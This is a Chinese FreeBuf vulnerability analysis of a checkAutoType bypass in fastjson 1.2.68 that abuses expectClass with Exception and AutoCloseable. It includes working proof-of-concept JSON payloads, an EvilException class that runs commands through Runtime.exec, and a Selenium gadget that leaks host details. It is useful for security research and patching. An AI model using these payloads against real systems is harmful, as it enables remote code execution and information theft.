freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

fastjson 1.2.68 漏洞及commons-io写文件分析
2024-10-28 10:39:30
所属地 广东省

fastjson 1.2.68版本绕过

fastjson 1.2.68

在之前版本1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复。

TypeUtils.loadClass加了一个cache判断

image-20241023192305499

而MiscCodec.deserialze调用时,cache默认为false。直接阻断了cache提前加载恶意类的攻击链路

image-20241023192343346

1.2.48-1.2.67都是安全的(不手动关autoType的情况下)。随着版本的更新,直到fastjson1.2.68又存在一个新的漏洞点,可使用expectClass去绕过checkAutoType()检测机制,主要使用ThrowableAutoCloseable来绕过

下面配置一下环境pom.xml

<dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.68</version>
    </dependency>

1.2.68版本下,更新了一个新的安全控制点safeMode,如果开启的话,将在checkAutoType()直接抛出异常。从赋值可以看出,如果设置了@type就会抛出异常,开了safemode的直接打不了fastjson

image-20241023193418636

safemode默认不开启

checkAutoType中,用getClassFromMapping从mappings读取类,并在满足第二个红框的条件下,直接return了取出的类


条件如下:

  • 期望类expectClass不为空

  • typeName不是HashMap类

  • 期望类是typeName的子类

在mappings初始化时,向其中put进了很多类,其实就是白名单了。其中就包括Exception和AutoCloseable,我们后面的攻击都基于这两个接口

image-20241024110548113

有没有办法提前添加期望类呢?

注意expectClass来自checkAutoType的第二个参数:

image-20241024111812626

查找用法发现JavaBeanDesrtializer.deserialze和ThrowableDeserializer.deserialze都调用了带期望类参数的checkAutoType

image-20241024111928928

前者是fastjson默认反序列化器,后者是针对异常类的反序列化器

先看ThrowableDeserializer

ThrowableDeserializer

在fastjson中,先是DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类

image-20241024113450442

然后再是获取反序列化器调用deserialze

image-20241024113754047

如果这里deserializer是ThrowableDeserializer,并且下一个key为@type的话,就会再次调用checkAutoType,但是这里是带Throwable.class作为expectClass

image-20241024114756431

如果我们这里传的第一个参数exClassName是恶意的实现了Throwable子类,就能命令执行。

由于缓存mappings的白名单是Exception,正好Exception是Throwable子类,那实现Exception就能绕过

image-20241024115101467

在ParserConfig.getDeserializer也能发现,Throwable子类也是返回ThrowableDeserializer作为反序列化器

image-20241024122201499

不过目前没有实现Exception的库类可以进一步利用,如果可以写文件,那搭配起来就很丝滑了,假如我们向服务器写入了恶意类CalcException如下:

public class EvilException extends Exception{
    private String command;

    public void setCommand(String command) {
        this.command = command;
        try {
            Runtime.getRuntime().exec(command);
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JSON字符串:

{"x":
	{"@type":"java.lang.Exception",
	 "@type":"me.mole.exception.CalcException", 
	         "command":"calc"}, 
}

测试POC:

public static void main(String[] args) throws Exception
{
    String payload = "{\"x\":\n" +
            "\t{\"@type\":\"java.lang.Exception\",\n" +
            "\t \"@type\":\"org.exploit.third.fastjson.EvilException\", \n" +
            "\t         \"command\":\"calc\"}, \n" +
            " }";
    JSON.parse(payload);
}

image-20241024121847287

ThrowableDeserializer+selenium

需要有selenium依赖

<dependency>
  <groupId>org.seleniumhq.selenium</groupId>
  <artifactId>selenium-api</artifactId>
  <version>4.1.1</version>
</dependency>

org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。

但是调用方法是getter,且并不满足fastjson调用的getter规则,有其他办法调用到吗?之前分析了一篇fastjson>=1.2.36 $ref调用 getter,膜Y4tacker

https://godownio.github.io/2024/10/24/fastjson-ref-diao-yong-getter/

{"x":
  {"@type":"java.lang.Exception",
  "@type":"org.openqa.selenium.WebDriverException"},
 "y":{"$ref":"$x.systemInformation"},
 "z":{"$ref":"$x.message"},
}

不过只是WebDriverException.getMessage并没有回显,需要目标服务器回显才能用

public class selenium_ref_1_2_68 {
    public static void main(String[] args) throws Exception
    {
        String payload = "{\"x\":\n" +
                "  {\"@type\":\"java.lang.Exception\",\n" +
                "  \"@type\":\"org.openqa.selenium.WebDriverException\"},\n" +
                " \"y\":{\"$ref\":\"$x.systemInformation\"},\n" +
                " \"z\":{\"$ref\":\"$x.message\"}\n" +
                "}";
        JSONObject json = (JSONObject) JSON.parse(payload);
        System.out.println(json.getString("y"));
        System.out.println(json.getString("z"));
    }
}

image-20241024174412073

JavaBeanDeserializer

ThrowableDeserializer#deserialze调用的checkAutoType中向期望类传参是固定的,为Throwable.class

JavaBeanDeserializer#deserialze的expectClass参数是用户可控的

image-20241024213759114

其中type直接来自deserialze参数

image-20241024214131683

这里期望类基本都会选择AutoCloseable,原因有以下几点:

  • AutoCloseable不在黑名单内,且在mappings缓存表内

image-20241025113509136

  • 用到AutoCloseable的很多,其中包括了输入ObjectInput和输出ObjectOutput接口

# 漏洞分析 # java反序列化 # Java代码审计 # Fastjson反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录